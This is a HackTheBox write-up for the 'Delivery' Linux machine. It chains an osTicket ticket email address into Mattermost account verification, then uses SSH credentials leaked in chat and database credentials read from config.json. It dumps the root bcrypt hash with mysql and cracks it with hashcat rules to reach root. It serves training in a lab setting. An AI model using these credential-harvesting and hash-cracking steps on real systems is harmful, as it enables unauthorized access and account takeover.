# Delivery Writeup - HackTheBox

> Exploit an open MatterMost server and helpdesk ticket email trick to gain internal credentials, then crack a bcrypt hash using custom rules for root.

- **URL:** https://hackindex.io/writeups/delivery
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/delivery?sort_by=created_at&sort_type=desc
- **Tags:** mattermost, privilege-escalation, hash-cracking, osint
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

Delivery is a Linux box running two web applications that trust each other by accident. The chain runs: an osTicket helpdesk that hands out a working email address per ticket, a Mattermost registration verified through that address, SSH credentials posted in an internal channel, database credentials in the Mattermost config, and a bcrypt hash that falls in seconds because the same channel leaked the password pattern.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:22
# Open $TARGET_IP:80
# Open $TARGET_IP:8065
```

```bash
nmap -sCV -p22,80,8065 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 80/tcp   open  http    nginx 1.14.2
# |_http-title: Welcome
# 8065/tcp open  http    Golang net/http server
# |_http-title: Mattermost
# | http-robots.txt: 1 disallowed entry
# |_/
```

Two independent web applications: a static nginx site on 80 and a Mattermost team chat on 8065. The site on 80 links to `delivery.htb` and `helpdesk.delivery.htb`, so both names go in `/etc/hosts`.

## Enumeration

### The helpdesk

```bash
ffuf -u http://helpdesk.delivery.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -e .php,.html,.cgi,.txt -mc 200,301,302,303,403 -fs 4933
# view.php                [Status: 200]
# account.php             [Status: 200]
# open.php                [Status: 200]
# manage.php              [Status: 200]
# captcha.php             [Status: 200]
# logout.php              [Status: 302]
# kb                      [Status: 301]
# api                     [Status: 301]
```

That file set is osTicket. A helpdesk accepts input from anonymous users by design, and Mattermost on the same host requires a verified email address before an account can log in. Those two facts combine.

## Vulnerability Discovery

### A mailbox from a support ticket

Opening a ticket with throwaway details returns a ticket id and, more importantly, an address to reply to.

```
You may check the status of your ticket, by navigating to the Check Status page using ticket id: 9669049.

If you want to add more information to your ticket, just email 9669049@delivery.htb.
```

osTicket threads any mail sent to `<ticket-id>@delivery.htb` into the ticket, and the ticket is readable by whoever holds the id. That is effectively an inbox on the `delivery.htb` domain, which is exactly what Mattermost wants to verify.

## Exploitation

### Registering on Mattermost

Registering at `http://delivery.htb:8065/` with the ticket address sends the verification mail straight into the ticket thread, where it appears as a new reply.

```
---- Registration Successful ---- Please activate your email by going to:
http://delivery.htb:8065/do_verify_email?token=w6kjtmttoykocpc1o7b6e8oakp1g37y3kem97wrknp4tdgi4ttkjh71wmup9ceww&email=9669049%40delivery.htb
```

Following the link activates the account. Neither application validates who is reading the mailbox, and neither knows the other exists.

### Credentials in the internal channels

With a verified account the team channels are readable, and one conversation carries two separate leaks.

```
@developers Please update theme to the OSTicket before we go live.
Credentials to the server are maildeliverer:$MAILDELIVERERS_PASSWORD

Also please create a program to help us stop re-using the same passwords everywhere....
Especially those that are a variant of "$PASSWORD_BASE"
```

SSH credentials, plus the fact that every password on the box is a mutation of one base string. The second half matters later.

```bash
ssh maildeliverer@delivery.htb
# maildeliverer@delivery.htb's password:
# Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
# maildeliverer@Delivery:~$ whoami
# maildeliverer
```

Foothold as `maildeliverer`.

## Privilege Escalation

### Mattermost on disk

`linpeas.sh` flags `/opt`, which is empty on a stock Debian install, and here holds the Mattermost installation.

```bash
ls -la /opt
# drwxrwxr-x 12 mattermost mattermost 4096 Jul 14  2021 mattermost
```

```bash
grep -A2 DataSource /opt/mattermost/config/config.json
# "DataSource": "mmuser:$MMUSERS_PASSWORD@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8&readTimeout=30s&writeTimeout=30s"
```

The application's own database credentials sit in cleartext in a file `maildeliverer` can read. Mattermost keeps its accounts in that database, hashes included.

### Reading the users table

```bash
mysql -u mmuser -p'$MMUSERS_PASSWORD' -h 127.0.0.1 mattermost
# mysql> SELECT Username, Password, Roles FROM Users WHERE Username = 'root';
# | root | $ROOTS_HASH | system_admin system_user |
```

A bcrypt hash with a `$2a$` prefix, deliberately slow to attack. A generic wordlist would be hopeless, but the chat already gave the base string, so the only unknown is the mutation applied to it. Hashcat's `best64.rule` covers exactly that class of change: appended digits, capitalisation, common substitutions.

```bash
echo '$PASSWORD_BASE' > pass
hashcat -m 3200 hash pass --user -r best64.rule
# $ROOTS_HASH:$ROOTS_PASSWORD
# Recovered........: 1/1 (100.00%) Digests
```

The recovered password is the Mattermost password for `root`, and the same reuse habit the channel complained about means it is worth trying against the local account.

```bash
su root
# Password:
# root@Delivery:/# whoami
# root
```

Root on the box. Both contexts are covered.

Related

## References

- [Mattermost configuration settings](https://docs.mattermost.com/configure/configuration-settings.html) - Documents the SqlSettings DataSource string that stores the database credentials.
- [Hashcat rule based attack](https://hashcat.net/wiki/doku.php?id=rule_based_attack) - How rule files such as best64.rule mutate a known base password.